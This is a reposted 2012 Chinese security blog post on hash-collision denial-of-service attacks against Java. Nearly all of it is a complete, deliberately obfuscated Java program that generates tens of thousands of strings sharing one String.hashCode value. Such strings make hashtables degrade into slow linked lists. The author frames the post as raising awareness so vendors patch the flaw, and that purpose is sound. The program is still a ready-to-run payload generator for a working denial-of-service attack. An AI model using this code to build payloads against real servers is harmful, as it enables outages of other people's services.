IT技术博客大学习 共学习 共进步
全部 移动开发 后端 数据库 AI 算法 安全 DevOps 前端 设计 开发者

Java Hash Algorithm Collision Practice (JAVA哈希算法冲突实践)

Wow! Uncle Joey 2012-05-10 23:54:38 累计浏览 4,071 次
本机暂存

摘要

以代码形式,提供一种可验证的Java语言下哈希冲突字串生成方式。制造Hash冲突可引发Hashtable数据结构退化为低效链表,常用于DoS攻击。

背景及几句废话

2012年的第一篇blog,想想还是写点技术相关的。最近安全圈比较热的话题是hash algorithm collision dos attack. 截止到本文发布之时,比较优雅解决这一问题的厂商依然只是少数。为了促进这一问题得到尽快解决,我认为有必要在更大的范围内普及这一攻击的基础知识。本文主要思路以代码方式提供。如果不能保证独立运行以下代码,请绕道;如果对代码可读性有疑问,那是我故意的。

PS: JDK中关于hashCode()方法的实现,可用以下公式表达:

原图已失效

代码

package com.unclejoey.just4fun;

import java.math.BigDecimal;

public class HashCollision {

    private static final int i1 = 48;
    private static final int i2 = 8;
    private static final int i3 = 31;
    private static final int i4 = 60000;
    private static final long l1 = i3 -1;
    private static final long l2 = 2l << 32;
    private static final BigDecimal d1 = new BigDecimal(31);
    private static final BigDecimal d2 = d1.pow(i2);
    private static final BigDecimal d3 = new BigDecimal(l2);

	public static void main(String[] args) {
		String t = "test_string";
		for(int i=0; i<=i4; i++) {
			String s = String.valueOf(i);
            while(s.length() < 5){
            	s = "0" + s;
            }
            int hs = s.hashCode();
    		char[] r = g(hs, t.hashCode());
    		s = s.concat(new String(r));
    		if (s.hashCode() != t.hashCode()) {
    			System.err.println("NO WAY, I Couldn't be wrong...");
    			System.exit(1);
    		}
    		System.out.println(s);
		}
	}

	private static char[] g(int s, int t) {
        long hx1 = l1 * s + i1;
        BigDecimal hx2 = d2.multiply(new BigDecimal(hx1)).subtract(new BigDecimal(i1));
        BigDecimal hx3 = hx2.divide(new BigDecimal(l1));
        BigDecimal hx4 = new BigDecimal(t).subtract(hx3);
        BigDecimal b = hx4.divideToIntegralValue(d3.multiply(d3));
        long l = hx4.subtract(b).longValue();
        l = (l+l2) % l2;
        if (l < 0) l += l2;
        char[] c = new char[i2];
        int p = 0;
        while (l != 0) {
            c[p++] = (char) (l % (i3) + i1);
            l = l / i3;
        }
        int f = i2 - p;
        char[] cs = new char[i2];
        int i = 0;
        while (i < f) {
            cs[i++] = (char) i1;
        }
        while (i < i2) {
            cs[i] = c[p - i + f - 1];
            ++i;
        }
        return cs;
    }
}

同分类推荐文章

  1. 绿盟科技《APT组织研究年鉴》(2026 版)正式发布 (2026-06-16 20:21:10)
  2. 【已复现】Linux内核Fragnesia权限提升漏洞(CVE-2026-46300) (2026-06-15 10:53:58)
  3. 企业文档安全最佳实践(二):给文档上“身份证”——手动标密与智能自动标密 (2026-06-12 17:18:33)

查看更多 安全 文章 →

建议继续学习

  1. SmartSprites - 命令行形式的CSS Sprites生成器 (累计阅读 123,894)
  2. Java开发岗位面试题归类汇总 (累计阅读 22,155)
  3. android 开发入门 (累计阅读 19,527)
  4. 我的PHP,Python和Ruby之路 (累计阅读 13,146)
  5. HashMap解决hash冲突的方法 (累计阅读 12,652)
  6. 一个大二学生有关如何成为一名软件工程师的疑问及答复 (累计阅读 9,178)
  7. Java程序员应该知道的10个eclipse调试技巧 (累计阅读 8,011)
  8. 如何让员工忠于公司? (累计阅读 7,937)
  9. Java技术路线 (累计阅读 7,725)
  10. 聊聊ThoughtWorks面试 (累计阅读 7,614)